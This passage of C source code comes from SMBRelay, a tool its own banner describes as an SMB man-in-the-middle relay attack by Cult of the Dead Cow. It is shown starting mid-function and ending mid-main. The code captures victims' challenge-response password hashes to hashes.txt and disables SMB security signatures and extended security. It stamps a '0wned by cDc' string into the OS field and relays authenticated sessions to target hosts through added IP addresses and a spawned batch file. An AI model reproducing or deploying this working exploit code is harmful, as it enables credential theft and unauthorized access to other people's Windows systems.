			case SMB_COM_SESSION_SETUP_ANDX: 
				switch (psessionsetupand->Len) 
				{ 
				case SESSION_SETUP_ANDHEADER_LEN:	// 9x? 
					printf("Password length: %d\n", psessionsetupand->PasswordLen ); 
					if (psessionsetupand->PasswordLen > 1) 
					{ 
						printf("Password: "); 
						PrintHexString((BYTE *)(psessionsetupand + 1), psessionsetupand->PasswordLen ); 
						puts(""); 
 
						bContinue = FALSE; 
//						bConnected = FALSE; 
					} 
 
					break; 
				case SESSION_SETUP_ANDHEADER2_LEN:	// NT 4 
					printf("Password lengths: %d %d\n", psessionsetupand2->CaseInsensitivePasswordLen, psessionsetupand2->CaseSensitivePasswordLen ); 
 
					if (psessionsetupand2->CaseInsensitivePasswordLen > 1) 
					{ 
						printf("Case insensitive password:  "); 
						PrintHexString((BYTE *)(psessionsetupand2 + 1), psessionsetupand2->CaseInsensitivePasswordLen ); 
						puts(""); 
 
						memcpy(caseinsensitivepassword, psessionsetupand2 + 1, 24); 
					} 
 
					if (psessionsetupand2->CaseSensitivePasswordLen > 1) 
					{ 
						printf("Case sensitive password:    "); 
						PrintHexString((BYTE *)(psessionsetupand2 + 1) + psessionsetupand2->CaseInsensitivePasswordLen, psessionsetupand2->CaseSensitivePasswordLen ); 
						puts(""); 
 
						memcpy(casesensitivepassword, (BYTE *)(psessionsetupand2 + 1) + psessionsetupand2->CaseInsensitivePasswordLen, 24); 
					} 
 
					if (/* psmbheader->bUnicodeStrings */TRUE) 
					{ 
						WCHAR *ptr = (WCHAR *)(psessionsetupand2 + 1); 
 
						ptr = (WCHAR *)((char *)ptr + psessionsetupand2->CaseInsensitivePasswordLen + psessionsetupand2->CaseSensitivePasswordLen + 1); 
 
						printf("Username:     \"%S\"\n", ptr); 
 
						sprintf(username, "%S", ptr); 
 
						ptr += wcslen(ptr) + 1; 
 
						printf("Domain:       \"%S\"\n", ptr); 
 
						ptr += wcslen(ptr) + 1; 
 
						printf("OS:           \"%S\"\n", ptr); 
 
#if 1 
						_snwprintf(ptr, wcslen(ptr) , L"0wned by cDc                               "); 
 
#endif 
 
						ptr += wcslen(ptr) + 1; 
 
						printf("Lanman type:  \"%S\"\n", ptr); 
 
						ptr += wcslen(ptr) + 1; 
 
						printf("???:          \"%S\"\n", ptr); 
 
						ptr += wcslen(ptr) + 1; 
 
					} 
					else 
					{ 
						char *ptr = (char *)(psessionsetupand2 + 1); 
 
						ptr += psessionsetupand2->CaseInsensitivePasswordLen + psessionsetupand2->CaseSensitivePasswordLen + 1; 
						 
						printf("Username:     \"%s\"\n", ptr); 
 
						strncpy(username, ptr, sizeof(username)); 
 
						ptr += strlen(ptr) + 1; 
 
						printf("Domain:       \"%s\"\n", ptr); 
 
						ptr += strlen(ptr) + 1; 
 
						printf("OS:           \"%s\"\n", ptr); 
 
						ptr += strlen(ptr) + 1; 
 
						printf("Lanman type:  \"%s\"\n", ptr); 
					} 
 
 
 
					if (psessionsetupand2->AndXCommand == SMB_COM_TREE_CONNECT_ANDX) 
					{ 
						// add TREE_CONNECT_AND portion to connect to IPC$ 
						psessionsetupand2->AndXOffset = sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 3; 
				 
						PTREE_CONNECT_ANDHEADER pTreeConnectAnd2 = (PTREE_CONNECT_ANDHEADER)(PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbheader + psessionsetupand2->AndXOffset ); 
 
						pTreeConnectAnd2->Len = TREE_CONNECT_ANDHEADER_LEN;  
						pTreeConnectAnd2->AndXCommand = SMB_NONE; 
						pTreeConnectAnd2->AndXOffset = 0; 
						pTreeConnectAnd2->AndXReserved = 0; 
						pTreeConnectAnd2->Flags = 0; 
						pTreeConnectAnd2->PasswordLen = 1; 
						pTreeConnectAnd2->ByteCount = 32; 
						 
						char *ptr = (char *)(pTreeConnectAnd2 + 1); 
 
						*ptr = 0; 
						ptr++; 
 
						WCHAR  *wptr = (WCHAR *)ptr; 
 
						swprintf(wptr, L"\\\\%S\\IPC$", hostname); 
 
						pTreeConnectAnd2->ByteCount = (wcslen(wptr) + 1) * 2; 
 
						wptr += wcslen(wptr) + 1; 
 
						ptr = (char *)wptr; 
 
						strcpy(ptr, "?????"); 
 
						pTreeConnectAnd2->ByteCount += 7; 
 
						pnbsessionheader->Length = htons(sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 2  + pTreeConnectAnd2->Len * 2 + pTreeConnectAnd2->ByteCount + 4); 
 
						x = ntohs(pnbsessionheader->Length) + 4; 
					} 
 
					break; 
				case SESSION_SETUP_ANDHEADER2EX_LEN: // Win2000 
					printf("Security blob len: %d\n", psessionsetupand2ex->SecurityBlobLen); 
 
 
					break; 
				default: 
					printf("Unknown setup header length %d\n", psessionsetupand->Len); 
					break; 
				} 
 
				break; 
			} 
			} 
 
		} 
 
 
 
		send(outsock, buff, x, 0); 
 
		x = recv(outsock, buff, sizeof(buff), 0); 
 
		if (x < 1) 
		{ 
			printf("Error receiving data from outgoing connection\n"); 
			return; 
		} 
 
		printf("Response:     %s  %d bytes\n", GetMessageType(pnbsessionheader->Type), x); 
 
 
		switch (pnbsessionheader->Type) 
		{ 
		case TYPE_SESSION_MESSAGE: 
			switch (psmbheader->Command) 
			{ 
			case SMB_COM_NEGOTIATE: 
 
				SessionID = pdialectselectheader->UniqueSessionKey; 
 
				if (pdialectselectheader->EncryptionKeyLen ) 
				{ 
					printf("Challenge (%d bytes):    ", pdialectselectheader->EncryptionKeyLen); 
 
					PrintHexString((BYTE *)(pdialectselectheader + 1), pdialectselectheader->EncryptionKeyLen); 
 
					memcpy(challenge, pdialectselectheader + 1, 8); 
 
					puts(""); 
				} 
 
				if (pdialectselectheader->bSecuritySignaturesRequired ) 
				{ 
					printf("Security signatures required by server *** THIS MAY NOT WORK!\n"); 
					pdialectselectheader->bSecuritySignaturesRequired = 0; 
				} 
 
				if (pdialectselectheader->bExtendedSecurity) 
				{ 
					printf("Disabling extended security *** THIS MAY NOT WORK!\n"); 
					pdialectselectheader->bExtendedSecurity = 0; 
				} 
 
				if (pdialectselectheader->bSecuritySignaturesEnabled) 
				{ 
					printf("Disabling security signatures\n"); 
					pdialectselectheader->bSecuritySignaturesEnabled = 0; 
				} 
 
				// copy negotiation response for relaying later 
				memcpy(negotiateheaders, buff, sizeof(negotiateheaders)); 
 
				break; 
 
			case SMB_COM_SESSION_SETUP_ANDX: 
 
				if (psmbheader->NTError == 0) 
				{ 
					if (strlen(username)) 
						bConnected = TRUE; 
 
					if (psessionsetupandresponse->Action & 1) 
					{ 
						printf("Connected as guest\n"); 
					} 
 
					if (/* psmbheader->bUnicodeStrings*/TRUE ) 
					{ 
						WCHAR *ptr = (WCHAR *)(psessionsetupandresponse + 1); 
 
						if ((DWORD)ptr % 2) 
							ptr = (WCHAR *)((char *)ptr +1); 
 
						printf("OS:           \"%S\"\n", ptr); 
 
						ptr += wcslen(ptr) + 1; 
 
						printf("Lanman type:  \"%S\"\n", ptr); 
 
						ptr += wcslen(ptr) + 1; 
 
						printf("Domain:       \"%S\"\n", ptr); 
 
					} 
					else 
					{ 
						char *ptr = (char *)(psessionsetupandresponse + 1); 
 
						printf("OS:           \"%s\"\n", ptr); 
 
						ptr += strlen(ptr) + 1; 
 
						printf("Lanman type:  \"%s\"\n", ptr); 
 
						ptr += strlen(ptr) + 1; 
 
						printf("Domain:       \"%s\"\n", ptr); 
 
						ptr += strlen(ptr) + 1; 
 
					} 
 
					if (strlen(username)) 
					{ 
						memcpy(logonandconnectheaders, buff, sizeof(logonandconnectheaders)); 
						UID = psmbheader->UserID; 
					} 
 
				} 
				else 
				{ 
					printf("Login failure code: 0x%08X\n", psmbheader->NTError ); 
				} 
				break; 
			} 
		} 
 
		if (!bConnected) 
			send(inconsock, buff, x, 0); 
 
		puts(""); 
	} 
 
	closesocket(inconsock); 
 
	FILE *file; 
 
	file = fopen("hashes.txt", "a"); 
 
	if (file != NULL) 
	{ 
		fprintf(file, "%s %s\\%s:3:", inet_ntoa(sockaddr.sin_addr), hostname, username); 
 
		for (x = 0; x < 8; x++) 
			fprintf(file, "%02X", challenge[x]); 
 
		fprintf(file, ":"); 
 
		for (x = 0; x < 24; x++) 
			fprintf(file, "%02X", caseinsensitivepassword[x]); 
 
		fprintf(file, ":"); 
 
		for (x = 0; x < 24; x++) 
			fprintf(file, "%02X", casesensitivepassword[x]); 
 
		fprintf(file, "\n"); 
 
		fclose(file); 
 
		printf("Password hash written to disk\n"); 
	} 
 
	if (bConnected) 
	{ 
		DWORD d, NTEContext, NTEInstance; 
 
		DWORD IP, Netmask; 
 
		printf("Connected?\n"); 
 
 
 
		IP = g_RelayStartIP; 
 
		IP = ntohl(htonl(IP) + pnewconinfo->hostcount); 
 
		sockaddr.sin_addr.s_addr = IP; 
 
		if (g_bAddRelayIP) 
		{ 
			Netmask = inet_addr("255.255.255.0"); 
 
			d = AddIPAddress(IP, Netmask, g_RelayInterfaceNumber, &NTEContext, &NTEInstance); 
 
			if (d != NO_ERROR) 
				printf("Error %d adding relay IP address to interface %x: %s\n", d, g_RelayInterfaceNumber, StrError(d)); 
			else 
				printf("Relay IP address added to interface %x\n", g_RelayInterfaceNumber); 
 
		} 
 
 
		SOCKET relaylistensock = INVALID_SOCKET, relayconnectionsock = INVALID_SOCKET; 
 
		BOOL bConnected = TRUE; 
 
 
		while (bConnected && !g_bQuit) 
		{ 
 
 
			relaylistensock = socket(AF_INET, SOCK_STREAM, 0); 
 
			BOOL b = TRUE; 
			if (setsockopt(relaylistensock , SOL_SOCKET, SO_REUSEADDR, (const char *)&b, sizeof(b) ) == SOCKET_ERROR) 
			{ 
				printf("Error %d setting socket option SO_REUSEADDR\n", GETSOCKETERROR() ); 
				closesocket(relaylistensock ); 
				goto exitrelay ; 
			} 
 
 
			sockaddr.sin_addr.s_addr = IP; 
			sockaddr.sin_port = htons(139); 
			sockaddr.sin_family = AF_INET; 
 
			if (bind(relaylistensock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERROR) 
			{ 
				d = GETSOCKETERROR(); 
				printf("Error %u binding to port %d at address %s\n", d, 139, inet_ntoa(sockaddr.sin_addr) ); 
				closesocket(relaylistensock); 
				goto exitrelay ; 
			}  
			else  
			{ 
				printf("Bound to port %d on address %s relaying for host ", 139, inet_ntoa(sockaddr.sin_addr) ); 
				printf("%s %s\n", hostname, inet_ntoa(sourcesockaddr.sin_addr) ); 
			} 
 
 
	 
			if (listen(relaylistensock, SOMAXCONN) == SOCKET_ERROR) 
			{ 
				d = GETSOCKETERROR(); 
				printf("Error %u listening on socket\n", d ); 
				closesocket(relaylistensock); 
				goto exitrelay ; 
			} 
 
 
			bContinue = TRUE; 
			char tmpbuff[5]; 
			int socklen = sizeof(sockaddr); 
 
			DWORD l = 1; 
			ioctlsocket(relaylistensock, FIONBIO , &l); 
 
			l = 1; 
			ioctlsocket(outsock, FIONBIO , &l); 
 
			do 
			{ 
				if ((relayconnectionsock = accept(relaylistensock, (LPSOCKADDR)&sockaddr, &socklen)) == INVALID_SOCKET) 
				{ 
					DWORD err = WSAGetLastError(); 
 
					if (err != WSAEWOULDBLOCK) 
					{ 
						printf("Error %d receiving relay connection", err); 
						closesocket(relaylistensock); 
						goto exitrelay ; 
					} 
					else 
					{ 
						x = recv(outsock, tmpbuff, 1, MSG_PEEK); 
 
						if ((x == -1 && WSAGetLastError() != WSAEWOULDBLOCK) || x == 0) 
						{ 
							closesocket(relaylistensock); 
							goto exitrelay; 
						} 
						Sleep(50); 
					} 
				} 
			} while (!g_bQuit && relayconnectionsock == INVALID_SOCKET); 
 
 
			closesocket(relaylistensock); 
 
			if (g_bQuit ) 
			{ 
				if (relayconnectionsock != INVALID_SOCKET) 
					closesocket(relayconnectionsock); 
				goto exitrelay ; 
			} 
 
			printf("*** Relay connection for target %s received from %s:%d\n", hostname, inet_ntoa(sockaddr.sin_addr), ntohs(sockaddr.sin_port)); 
 
			char hostaddrbuff[64]; 
			char relayaddrbuff[64]; 
 
			strcpy(relayaddrbuff, inet_ntoa(sockaddr.sin_addr) ); 
			strcpy(hostaddrbuff, inet_ntoa(sourcesockaddr.sin_addr) ); 
 
			if (_spawnlp(_P_NOWAIT, "spawn.bat", "spawn.bat", relayaddrbuff, hostaddrbuff, hostname, NULL) != -1) 
			{ 
				printf("Spawned spawn.bat %s %s %s\n", relayaddrbuff, hostaddrbuff, hostname ); 
			} 
 
 
 
 
			// set non-blocking mode 
			 
			l = 1; 
			ioctlsocket(relayconnectionsock, FIONBIO , &l); 
 
 
			bContinue = TRUE; 
			DWORD totallen; 
 
			int datalen; 
 
			BOOL bLogonDone = FALSE; 
			BOOL bDialectSelected = FALSE; 
 
			do 
			{ 
				BOOL bDoSend = TRUE; 
 
			 
				datalen = recv(relayconnectionsock, buff, sizeof(NBSESSIONHEADER), 0); 
 
				if (datalen < 1) 
				{ 
					if (datalen == 0) 
					{ 
						printf("Relay connection disconnected from target %s\n", hostname); 
						bContinue = FALSE; 
					} 
					else 
					{ 
						DWORD err = WSAGetLastError(); 
						if (err != WSAEWOULDBLOCK) 
						{ 
							bContinue = FALSE; 
							printf("Error %d receiving header from incoming relay connection for target %s\n", err, hostname); 
						} 
					} 
				} 
				else 
				{ 
					totallen = ntohs(pnbsessionheader->Length) + 4; 
 
					if (g_DebugLevel > 1) 
						printf("Received request header, expecting %d bytes for target %s\n", totallen, hostname); 
 
					while (bContinue && datalen <  totallen && !g_bQuit) 
					{ 
						x = recv(relayconnectionsock, buff + datalen, totallen - datalen, 0); 
 
						if (x > 0) 
							datalen += x; 
						else 
						{ 
							if (x == 0) 
							{ 
								printf("Relay connection disconnected from target %s\n", hostname); 
								bContinue = FALSE; 
							} 
							else 
							{ 
								DWORD err = WSAGetLastError(); 
								if (err == WSAEWOULDBLOCK) 
									Sleep(5); 
								else 
								{ 
									bContinue = FALSE; 
									printf("Error %d receiving data from incoming relay connection to target %s\n", err, hostname); 
								} 
							} 
						} 
					} 
				} 
 
 
				if (bContinue && datalen > 0) 
				{ 
 
				if (g_DebugLevel > 0) 
					printf("Relay request type: %s  %d bytes, %d target %s\n", GetMessageType(pnbsessionheader->Type), datalen, ntohs(pnbsessionheader->Length) + 4, hostname); 
 
				if (pnbsessionheader->Flags != 0) 
					printf("Request Flags: 0x%04x target %s\n", pnbsessionheader->Flags, hostname ); 
 
				switch (pnbsessionheader->Type) 
				{ 
				case TYPE_SESSION_REQUEST: 
 
					pnbsessionheader->Flags = 0; 
					pnbsessionheader->Length = 0; 
					pnbsessionheader->Type = TYPE_POSITIVE_SESSION_RESPONSE; 
 
					send(relayconnectionsock, buff, sizeof(NBSESSIONHEADER), 0); 
 
					printf(" *** Sent positive session response for relay target %s\n", hostname); 
 
					bDoSend = FALSE; 
 
					break; 
				case TYPE_SESSION_MESSAGE: 
					if (psmbheader->MagicVal != SMBMAGICVAL	) 
					{ 
						if (g_DebugLevel > 0) 
							printf("Non SMB message, magicval: %08x length %d bytes target %s\n", psmbheader->MagicVal, datalen, hostname); 
 
					} 
					else 
					{ 
						if (g_DebugLevel > 0) 
							printf("%s\n", GetCommandType(psmbheader->Command)); 
 
					switch (psmbheader->Command) 
					{ 
					case SMB_COM_LOGOFF_ANDX: 
						printf(" *** Logoff from target %s\n", hostname); 
						bDoSend = FALSE; 
						bContinue = FALSE; 
						break; 
 
					case SMB_COM_NEGOTIATE: 
						if (!bDialectSelected) 
						{ 
							char *ptr = (char *)(psmbheader + 1) + 3; 
							int selecteddialect = 0; 
							x = 0; 
 
							bDialectSelected = TRUE; 
 
							while (selecteddialect == 0 && ptr < buff + pnbsessionheader->Length + 3) 
							{ 
								if (g_DebugLevel > 0) 
									printf("%d - Dialect %d - %s\n", x, *ptr, ptr+1); 
				 
								x++; 
 
								ptr += strlen(ptr+1) + 2; 
 
									// locate dialect of choice 
								if (strcmp(ptr+1, LANMANDIALECT_NTLM012) == 0) 
									selecteddialect = x; 
 
							} 
 
 
							memcpy(buff, negotiateheaders, sizeof(negotiateheaders)); 
 
							pdialectselectheader->Len = SMBDIALECTSELECTHEADER_LEN; 
							pdialectselectheader->DialectIndex = selecteddialect; 
 
 
							ptr = (char *)(pdialectselectheader + 1); 
 
							// put encryption key here 
							memcpy(ptr, "!!!!!!!!", 8); 
 
							ptr += SMBENCRYPTIONKEYLEN ; 
 
							if (/*psmbheader->bUnicodeStrings*/TRUE) 
							{ 
								swprintf((WCHAR *)ptr, L"%S", SERVERDOMAINNAME); 
								pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + (strlen(SERVERDOMAINNAME) + 1) * 2; 
							} 
							else 
							{ 
								strcpy(ptr, SERVERDOMAINNAME); 
								pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + strlen(SERVERDOMAINNAME) + 1; 
							} 
 
							pnbsessionheader->Length =  htons(sizeof(SMBHEADER) + sizeof(SMBDIALECTSELECTHEADER) + pdialectselectheader->ByteCount ); 
 
							send(relayconnectionsock, buff, ntohs(pnbsessionheader->Length) + 4 , 0); 
 
							printf(" *** Sent dialect selection response (%d) for target %s\n", selecteddialect, hostname ); 
 
							bDoSend = FALSE; 
						} 
 
 
 
						break; 
					case SMB_COM_SESSION_SETUP_ANDX: 
						if ( !bLogonDone ) 
						{ 
							bLogonDone = TRUE; 
 
							WORD MID = psmbheader->MultiplexID; 
							WORD AndXCommand = psessionsetupand->AndXCommand ; 
 
							memcpy(buff, logonandconnectheaders, sizeof(logonandconnectheaders) ); 
							 
							psmbheader->MultiplexID = MID; 
 
							psmbheader->UserID = UID ; 
 
							pnbsessionheader->Length = htons(sizeof(SMBHEADER) + psessionsetupandresponse->Len * 2 + psessionsetupandresponse->ByteCount + 2); 
 
								// truncate it if necessary 
							if (AndXCommand == SMB_NONE) 
							{ 
								psessionsetupandresponse->AndXCommand = SMB_NONE; 
								psessionsetupandresponse->AndXOffset = 0; 
 
							} 
							else 
							{ 
								PTREE_CONNECT_ANDRESPONSEHEADER ptreeconnectand = (PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbheader + psessionsetupandresponse->AndXOffset ); 
 
								ptreeconnectand->Len = TREE_CONNECT_ANDRESPONSEHEADER_LEN; 
								ptreeconnectand->AndXCommand = SMB_NONE; 
								ptreeconnectand->AndXOffset = 0; 
								ptreeconnectand->AndXReserved = 0; 
								ptreeconnectand->OptionalSupport = 0; 
 
								char *ptr = (char *)(ptreeconnectand + 1); 
 
								strcpy(ptr, "IPC"); 
 
								ptreeconnectand->ByteCount = strlen(ptr) + 3; 
 
								ptr += strlen(ptr) + 1; 
								*ptr = 0; 
								ptr++; 
								*ptr = 0; 
 
								pnbsessionheader->Length = htons(ntohs(pnbsessionheader->Length) + ptreeconnectand->Len * 2 + ptreeconnectand->ByteCount + 4); 
							} 
 
							x = send(relayconnectionsock, buff, ntohs(pnbsessionheader->Length) + 4, 0); 
 
							printf(" *** Sent SMB Session setup response for relay to %s\n", hostname); 
 
							bDoSend = FALSE; 
						} 
 
						break; 
 
					} 
					} 
				} 
				} 
 
 
				if (bContinue && bDoSend && datalen > 0) 
				{ 
					totallen = 0; 
					do  
					{ 
						x = send(outsock, buff + totallen, datalen - totallen, 0); 
 
						if (x == 0) 
						{ 
							bContinue = FALSE; 
							bConnected = FALSE; 
							printf("Target %s disconnected durring send\n", hostname); 
						} 
						else if (x == -1) 
						{ 
							DWORD err = WSAGetLastError(); 
 
							if (err == WSAEWOULDBLOCK) 
								Sleep(5); 
							else 
							{ 
								bContinue = FALSE; 
								bConnected = FALSE; 
								printf("Error %d sending data to target %s\n", err, hostname); 
							} 
						} 
						else 
						{ 
							totallen += x; 
						} 
					} while (bContinue && totallen < datalen && !g_bQuit); 
 
				} 
 
				if (bContinue && !g_bQuit) 
				{ 
					datalen = recv(outsock, buff, sizeof(NBSESSIONHEADER), 0); 
 
					if (datalen < 1) 
					{ 
						if (datalen == 0) 
						{ 
							printf("Target %s connection disconnected\n", hostname); 
							bContinue = FALSE; 
							bConnected = FALSE; 
					} 
						else 
						{ 
							DWORD err = WSAGetLastError(); 
							if (err != WSAEWOULDBLOCK) 
							{ 
								bContinue = FALSE; 
								bConnected = FALSE; 
								printf("Error %d receiving header from target %s\n", err, hostname); 
							} 
						} 
					} 
					else 
					{ 
						totallen = ntohs(pnbsessionheader->Length) + 4; 
 
						if (g_DebugLevel > 1) 
							printf("Received response header, expecting %d bytes from target %s\n", totallen, hostname); 
 
 
						while (bContinue && datalen <  totallen && !g_bQuit) 
						{ 
							x = recv(outsock, buff + datalen, totallen - datalen, 0); 
 
							if (x > 0) 
								datalen += x; 
							else 
							{ 
								if (x == 0) 
								{ 
									printf("Target %s connection disconnected\n", hostname); 
									bContinue = FALSE; 
									bConnected = FALSE; 
								} 
								else 
								{ 
									DWORD err = WSAGetLastError(); 
 
									if (err == WSAEWOULDBLOCK) 
										Sleep(5); 
									else 
									{ 
										bContinue = FALSE; 
										bConnected = FALSE; 
										printf("Error %d receiving data from target %s\n", err, hostname); 
									} 
								} 
							} 
						} 
					} 
 
					if (bContinue && datalen > 0 && !g_bQuit) 
					{ 
						if (g_DebugLevel > 0) 
							printf("Received %d byte response from target %s\n", datalen, hostname); 
 
						if (pnbsessionheader->Flags != 0) 
							printf("Response Flags: 0x%04x target %s\n", pnbsessionheader->Flags, hostname ); 
 
 
 
 
 
 
 
						totallen = 0; 
						do 
						{ 
							x = send(relayconnectionsock, buff + totallen, datalen - totallen, 0); 
 
							if (x == 0) 
							{ 
								bContinue = FALSE; 
								printf("Relay host disconnected durring send from target %s\n", hostname); 
							} 
							else if (x == -1) 
							{ 
								DWORD err = WSAGetLastError(); 
 
								if (err == WSAEWOULDBLOCK) 
									Sleep(5); 
								else 
								{ 
									bContinue = FALSE; 
									printf("Error %d sending data to relay host from target %s\n", err, hostname); 
								} 
							} 
							else 
							{ 
								totallen += x; 
							} 
						} while (bContinue && totallen < datalen && !g_bQuit); 
 
 
					} 
					 
				} 
 
				if (datalen < 1) 
					Sleep(5); 
 
			} while (bContinue && !g_bQuit); 
 
			printf(" *** Relay disconnected from target %s\n", hostname); 
 
			closesocket(relayconnectionsock); 
		} 
 
exitrelay: 
 
 
		if (g_bAddRelayIP) 
		{ 
			DeleteIPAddress(NTEContext); 
			printf("Deleted relay IP address %s for target %s\n", inet_ntoa( sockaddr.sin_addr), hostname); 
		} 
 
	} 
 
	closesocket(outsock); 
 
	printf("*** Target %s Disconnected\n", hostname); 
 
	// remove host from list 
	ConnectedList[hostnumber] = 0; 
 
	// clean up end of list 
 
	while (ConnectedSize > 0 && ConnectedList[ConnectedSize] == 0) 
		ConnectedSize--; 
 
} 
 
 
 
 
void SignalHandler(int sig) 
{ 
	printf("Termination requested...\n"); 
	g_bQuit = TRUE; 
} 
 
 
void Usage( ) 
{ 
	puts("Usage: smbrelay [options]"); 
	puts(" Options:"); 
	puts("  /D num   - Set debug level, current valid levels: 0 (none), 1, 2"); 
	puts("    Defaults to 0"); 
	puts("  /E       - Enumerates interfaces and their indexes"); 
	puts("  /IL num  - Set the interface index to use when adding local IP addresses"); 
	puts("  /IR num  - Set the interface index to use when adding relay IP addresses"); 
	puts("    Defaults to 1.  Use /E to display the adapter indexes"); 
	puts("  /L[+] IP - Set the local IP to listen on for incoming NetBIOS connections"); 
	puts("    Use + to first add the IP address to the NIC"); 
	puts("    Defaults to primary host IP"); 
	puts("  /R[-] IP - Set the starting relay IP address to use"); 
	puts("    Use - to NOT first add each relay IP address to the NIC"); 
	puts("    Defaults to 192.1.1.1"); 
	puts("  /S name  - Set the source machine name"); 
	puts("    Defaults to CDC4EVER"); 
 
} 
 
 
 
int main(int argc, char* argv[]) 
{ 
	SOCKET tcpsock, inconsock; 
	WSADATA wsadata; 
	BOOL b; 
	DWORD d, NTEContext, NTEInstance; 
	LPHOSTENT phostent; 
	SOCKADDR_IN sockaddr; 
	int x; 
 
 
	puts("SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack"); 
	puts(" Copyright 2001: Sir Dystic, Cult of the Dead Cow"); 
	puts(" Send complaints, ideas and donations to sirdystic@cultdeadcow.com"); 
 
 
	for (x = 1; x < argc; x++) 
	{ 
		if (argv[x][0] == '/') 
		{ 
			if (stricmp(argv[x], "/IR") == 0) 
			{ 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for /IR\n"); 
					Usage(); 
					return 0; 
				} 
				x++; 
 
				g_RelayInterfaceNumber = strtoul(argv[x], NULL, 16); 
			} 
			else if (stricmp(argv[x], "/IL") == 0) 
			{ 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for /IL\n"); 
					Usage(); 
					return 0; 
				} 
				x++; 
 
				g_LocalInterfaceNumber = strtoul(argv[x], NULL, 16); 
			} 
			else if (stricmp(argv[x], "/D") == 0) 
			{ 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for /D\n"); 
					Usage(); 
					return 0; 
				} 
				x++; 
 
				g_DebugLevel = atoi(argv[x]); 
			} 
			else if (stricmp(argv[x], "/E") == 0) 
			{ 
				DWORD e, NumOfInterfaces = 0; 
 
				e = GetNumberOfInterfaces(&NumOfInterfaces); 
				if (e != NO_ERROR) 
				{ 
					printf("Unable to retrieve number of interfaces: Error %d - %s\n", e, StrError(e)); 
				} 
				else 
				{ 
					DWORD buffsize = sizeof(MIB_IFROW) * (NumOfInterfaces + 5); 
					PMIB_IFTABLE piftable = (PMIB_IFTABLE)malloc(buffsize);  
 
					e = GetIfTable(piftable, &buffsize, FALSE); 
 
					if (e != ERROR_SUCCESS) 
					{ 
						printf("Unable to get interface table: Error %d - %s\n", e, StrError(e)); 
					} 
					else 
					{ 
						for (e = 0; e < piftable->dwNumEntries; e++) 
						{ 
							printf("[%x] %s - %s\n", piftable->table[e].dwIndex, GetInterfaceType(piftable->table[e].dwType), piftable->table[e].bDescr  ); 
						} 
					} 
///   
 
					free(piftable); 
				} 
 
				return 0; 
 
			} 
			else if (stricmp(argv[x], "/L") == 0 || stricmp(argv[x], "/L+") == 0) 
			{ 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for /L\n"); 
					Usage(); 
					return 0; 
				} 
 
				if (argv[x][2] == '+') 
					g_bAddLocalIP = TRUE; 
 
 
				x++; 
				g_LocalIP = inet_addr(argv[x]); 
 
				if (g_LocalIP == INADDR_NONE) 
				{ 
					fprintf(stdout, "Bad IP: \"%s\"\n", argv[x]); 
					Usage(); 
					return 0; 
				} 
			} 
			else if (stricmp(argv[x], "/R") == 0 || stricmp(argv[x], "/R-") == 0) 
			{ 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for /R\n"); 
					Usage(); 
					return 0; 
				} 
 
				if (argv[x][2] == '-') 
					g_bAddRelayIP = FALSE; 
 
 
				x++; 
				g_RelayStartIP = inet_addr(argv[x]); 
 
				if (g_RelayStartIP == INADDR_NONE) 
				{ 
					fprintf(stdout, "Bad IP: \"%s\"\n", argv[x]); 
					Usage(); 
					return 0; 
				} 
			} 
			else if (stricmp(argv[x], "/S") == 0) 
			{ 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for /S\n"); 
					Usage(); 
					return 0; 
				} 
				x++; 
 
				strncpy(g_SourceName, argv[x], 15); 
				g_SourceName[15] = 0; 
				strupr(g_SourceName); 
 
			} 
			else if (stricmp(argv[x], "/?") == 0 || stricmp(argv[x], "/HELP") == 0) 
			{ 
				Usage(); 
				return 0; 
			} 
			else 
			{ 
				fprintf(stdout, "Bad option: \"%s\"\n", argv[x] ); 
				Usage(); 
				return 0; 
			} 
		} 
	} 
 
	memset(&wsadata, 0, sizeof(wsadata)); 
 
	WSAStartup(MAKEWORD(1, 1), &wsadata); 
 
 
 
	 
 
	if (g_bAddLocalIP) 
	{ 
		if (g_LocalInterfaceNumber == 0) 
		{ 
			GetBestInterface(g_LocalIP, &g_LocalInterfaceNumber); 
		} 
 
		MIB_IFROW ifrow; 
 
		memset(&ifrow, 0, sizeof(ifrow)); 
		ifrow.dwIndex = g_LocalInterfaceNumber; 
 
		d = GetIfEntry(&ifrow); 
 
		if (d == NO_ERROR) 
		{ 
			printf("Using local adapter index %x: %s\n", g_LocalInterfaceNumber, ifrow.bDescr); 
		} 
		else 
		{ 
			printf("Local adapter index %x may be invalid!  Error %d: %s\n", g_LocalInterfaceNumber, d, StrError(d)); 
		} 
	} 
 
 
	if (g_bAddRelayIP) 
	{ 
		MIB_IFROW ifrow; 
 
		memset(&ifrow, 0, sizeof(ifrow)); 
		ifrow.dwIndex = g_RelayInterfaceNumber; 
 
		d = GetIfEntry(&ifrow); 
 
		if (d == NO_ERROR) 
		{ 
			printf("Using relay adapter index %x: %s\n", g_RelayInterfaceNumber, ifrow.bDescr); 
		} 
		else 
		{ 
			printf("Relay adapter index %x may be invalid!  Error %d: %s\n", g_RelayInterfaceNumber, d, StrError(d)); 
		} 
	} 
 
	tcpsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
 
	if (tcpsock == INVALID_SOCKET) 
	{ 
		printf("Error %d creating socket\n", GETSOCKETERROR() ); 
		return 0; 
	} 
 
	b = TRUE; 
	if (setsockopt(tcpsock, SOL_SOCKET, SO_REUSEADDR, (const char *)&b, sizeof(b) ) == SOCKET_ERROR) 
	{ 
		printf("Error %d setting socket option SO_REUSEADDR\n", GETSOCKETERROR() ); 
		closesocket(tcpsock); 
		return 0; 
	} 
 
	if (g_LocalIP == INADDR_NONE) 
	{ 
		char buff[64]; 
 
		if (gethostname((char *)buff, sizeof(buff) ) == SOCKET_ERROR) 
		{ 
			printf("Error %d getting local host name\n", GETSOCKETERROR() ); 
